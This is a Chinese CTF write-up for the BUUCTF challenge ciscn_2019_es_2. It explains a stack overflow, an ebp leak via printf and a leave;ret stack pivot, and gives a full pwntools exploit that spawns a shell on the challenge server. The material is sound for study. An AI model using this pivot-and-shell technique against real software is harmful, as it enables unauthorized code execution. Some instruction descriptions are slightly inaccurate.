pwnlearning

BUUCTF | ciscn_2019_es_2

1.checksec看一下,开启了NX保护
图片

2.IDA
图片
打开vul函数,变量s距ebp0x28,而读长度有0x30,存在栈溢出。
0x30-0x28=0x8,可操作的空间较少,只够覆盖到rbp和ret,而且开了NX保护,因此本题采用栈迁移来解决栈空间不足的问题,把执行提权的代码放到其他段上。
栈迁移主要利用到两个汇编代码:leave,ret
leave :
mov ebp,esp
pop ebp
ret :
pop eip
我们控制住ebp,就相当于控制了esp,esp跟着ebp走,而esp可以和ret结合起来,esp的内容pop给eip
图片

3.利用printf特性,泄露栈空间地址

图片
在gdb中查看计算填充到ebp距离为0X28,ecx为输入的地方。
ebp输出值与地址差0x10
图片
a后为ebp输出值,0x10+0x28=0x38,所以输出值减0x38得到ecx的位置,即输入的地方

点击查看代码
from pwn import*
elf=ELF('./ciscn_2019_es_2')
p=process('./ciscn_2019_es_2')

from LibcSearcher import *
context(os="linux", arch="amd64", log_level="debug")

p.recvuntil(b'your name?')
payload=b'a'*0x28
p.send(payload)
p.recvline()
p.recv(7+0x28)
ebp_addr=u32(p.recv(4))
st_addr=ebp_addr-0x38
print(hex(st_addr))

recv吸收前面7个字节和填充的内容,然后接收4个字节32位地址形式,得到ebp地址,再减0x38得到
图片
确认为输入地址,ecx
图片
leave_ret地址
图片

4.构造payload

点击查看代码
payload=b'a'*4+p32(elf.plt['system'])+p32(0xdeadbeef)+p32(ebp_addr-0x28)+b'/bin/sh'
payload=payload.ljust(0x28,b'\x00')
payload+=p32(ebp_addr-0x38)+p32(leave_ret)

先构造ROP链,填充4字节覆盖保存的旧ebp值,由于32位传参是传地址,不能直接b'/bin/sh'
然后进行栈迁移,将payload填充到0x28字节,然后修改ebp为我们构造的ROP链开始处,返回地址,执行栈迁移
大概过程:
第一次leave:
mov ebp,esp esp来到原ebp位置
pop ebp ebp变为ebp-0x38(设计好的,ROP链起始端)
第二次leave:
mov ebp,esp esp来到新ebp位置,即ebp-0x38
pop ebp ebp变为aaaa,无所谓
执行完,esp会向下移动4字节到达system地址,往后找到bin\sh,拿到shell

完整exp:

点击查看代码
from pwn import*
elf=ELF('./ciscn_2019_es_2')
#p=process('./ciscn_2019_es_2')
p=remote('node5.buuoj.cn',29702)
from LibcSearcher import *
context(os="linux", arch="amd64", log_level="debug")

leave_ret=0x080484b8

p.recvuntil(b'your name?')
payload=b'a'*0x28
p.send(payload)
p.recvline()
p.recv(7+0x28)
ebp_addr=u32(p.recv(4))
st_addr=ebp_addr-0x38
print(hex(st_addr))

payload=b'a'*4+p32(elf.plt['system'])+p32(0xdeadbeef)+p32(ebp_addr-0x28)+b'/bin/sh'
payload=payload.ljust(0x28,b'\x00')
payload+=p32(ebp_addr-0x38)+p32(leave_ret)
p.send(payload)
p.interactive()

posted on 2025-07-24 11:29  邪恶的帽子  阅读(83)  评论(0)    收藏  举报

导航